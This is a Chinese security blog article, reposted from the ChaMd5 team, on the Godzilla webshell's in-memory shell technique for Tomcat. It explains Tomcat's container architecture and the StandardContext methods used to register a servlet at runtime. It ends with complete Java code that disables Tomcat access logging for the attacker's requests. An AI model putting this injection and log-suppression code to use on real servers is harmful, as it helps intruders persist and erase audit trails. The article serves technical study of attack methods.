浅谈哥斯拉内存Shell技术

  • A+
所属分类:安全文章

前言

哥斯拉Shell: 

https://github.com/BeichenDream/Godzilla/
在讲内存Shell原理之前,我们先了解一下Tomcat的启动流程。

tomcat的启动流程及原理

Server

Server 要完成的任务很简单,就是要能够提供一个接口让其它程序能够访问到 Service 集合,同时要维护所包含的所有 Service 的生命周期,包括如何初始化、如何结束服务、如何找到别人要访问的 Service。还有一些次要的任务,如记录Service运行日志,维护Session等等。Server包含的组件结构如下:

浅谈哥斯拉内存Shell技术

Service

Service 是在 Connector 和 Container 外面多包一层,把它们组装在一起,向外面提供服务,一个 Service 可以设置多个 Connector,但是只能有一个 Container 容器。当然Service不仅仅包含这两个组件, Service 接口的方法列表如下:

浅谈哥斯拉内存Shell技术

Container

Container本意是集装箱的意思,是一个接口,定义了下属的各种容器,重要的是Wrapper、Host、Engine、Context等。

浅谈哥斯拉内存Shell技术

Engine(引擎)

负责处理来自相关联的service的所有请求,处理后,将结果返回给service,而connector是作为service与engine的中间媒介出现的。
一个engine下可以配置一个默认主机,每个虚拟主机都有一个域名。当engine获得一个请求时,它把该请求匹配到虚拟主机(host)上,然后把请求交给该主机来处理。
Engine有一个默认主机,当请求无法匹配到任何一个虚拟主机时,将交给默认host来处理。Engine以线程的方式启动Host。

Host

代表一个虚拟主机,每个虚拟主机和某个网络域名(Domain Name)相匹配。
每个虚拟主机下都可以部署一个或多个web应用,每个web应用对应于一个context,有一个context path。
当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是“最长匹配”,所以一个path==””的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。

Context

一个Context对应于一个Web应用,一个Web应用由一个或者多个Servlet组成Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml$ WEBAPP_HOME/WEB-INF/web.xml载入Servlet类。当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类,如果找到,则执行该类,获得请求的回应,并返回。

Wrapper

Wrapper 代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
Wrapper 的实现类是 StandardWrapper,StandardWrapper 还实现了拥有一个 Servlet 初始化信息的 ServletConfig,由此看出 StandardWrapper 将直接和 Servlet 的各种信息打交道。

StandardContext

浅谈哥斯拉内存Shell技术

StandardContext 实现了类加载器、session管理、wrapper管理等模块,在启动时顺序启动这些模块。在请求进入时,由这些模块互相合作处理请求

获取StandardContext

通过request.getServletContext() 发现ServletContext对应的实现类 ApplicationContextFacade

浅谈哥斯拉内存Shell技术

通过查找我们找到以下获取链

浅谈哥斯拉内存Shell技术

实现内存Shell

org.apache.catalina.core.StandardContext  是我们实现内存Shell 至关重要的一个类

StandardContext 包含以下实现内存Shell关键方法

public Wrapper createWrapper() //创建一个Servlet包装类
public void addChild(Container child) //将创建的Wrapper添加到StandardContext容器
public void addServletMappingDecoded(String pattern,String servletName) //将一个Servlet添加到StandardContext映射以指定Url路径

StandardWrapper 包含设置Servlet 和 Servlet名字的方法

public void setServlet(Servlet servlet) //设置当前包装的Servlet
public void setServletName(String servletName) //设置当前包装Servlet的名字    

获取StandardContext 以及创建Servlet包装类。

浅谈哥斯拉内存Shell技术

添加Servlet到StandardContext并初始化Servlet。

浅谈哥斯拉内存Shell技术

至此内存Shell已经添加完成。

Tomcat 无日志技术

server.xml

浅谈哥斯拉内存Shell技术

可以看到Tomcat默认使用的日志组件是org.apache.catalina.valves.AccessLogValve

记录日志的方法

    public void log(Request request, Response response, long time) {
        if (this.getState().isAvailable() && this.getEnabled() && this.logElements != null && (this.condition == null || null == request.getRequest().getAttribute(this.condition)) && (this.conditionIf == null || null != request.getRequest().getAttribute(this.conditionIf))) {
            long start = request.getCoyoteRequest().getStartTime();
            Date date = getDate(start + time);
            StringBuilder result = new StringBuilder(128);

            for(int i = 0; i < this.logElements.length; ++i) {
                this.logElements[i].addElement(result, date, request, response, time);
            }

            this.log(result.toString());
        }
    }

看到这就明白了,我们只需要把condition随意设置一个不为Null的值,它就不会记录日志了。

代码如下:

    private void noLog(PageContext pc){
        try {
            Object applicationContext = getFieldValue(pc.getServletContext(),"context");
            Object container=getFieldValue(applicationContext, "context");;
            ArrayList arrayList = new ArrayList();
            while (container!=null){
                arrayList.add(container);
                container=invoke(container, "getParent"null);
            }
            for (int i=0;i<arrayList.size();i++){
                try {
                    Object pipeline =invoke(arrayList.get(i), "getPipeline"null);
                    if (pipeline!=null){
                        Object valve =invoke(pipeline, "getFirst"null);
                        while (valve!=null){
                            if (getMethodByClass(valve.getClass(),"getCondition",null)!=null&&getMethodByClass(valve.getClass(),"setCondition",String.class)!=null){
                                String condition= (String) invoke(valve, "getCondition");
                                condition=condition==null?"FuckLog":condition;
                                invoke(valve, "setCondition", condition);
                                pc.getRequest().setAttribute(condition, condition);
                                valve=invoke(valve, "getNext"null);
                            }else if (Class.forName("org.apache.catalina.Valve",false,applicationContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())){
                                valve=invoke(valve, "getNext"null);
                            }else{
                                valve=null;
                            }
                        }
                    }
                }catch (Exception e){
                    //e.printStackTrace();
                }
            }

        }catch (Exception e){
            //e.printStackTrace();
        }
    }

本文只是先抛个砖,欢迎留言讨论。



原文来源:ChaMd5安全团队

浅谈哥斯拉内存Shell技术

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: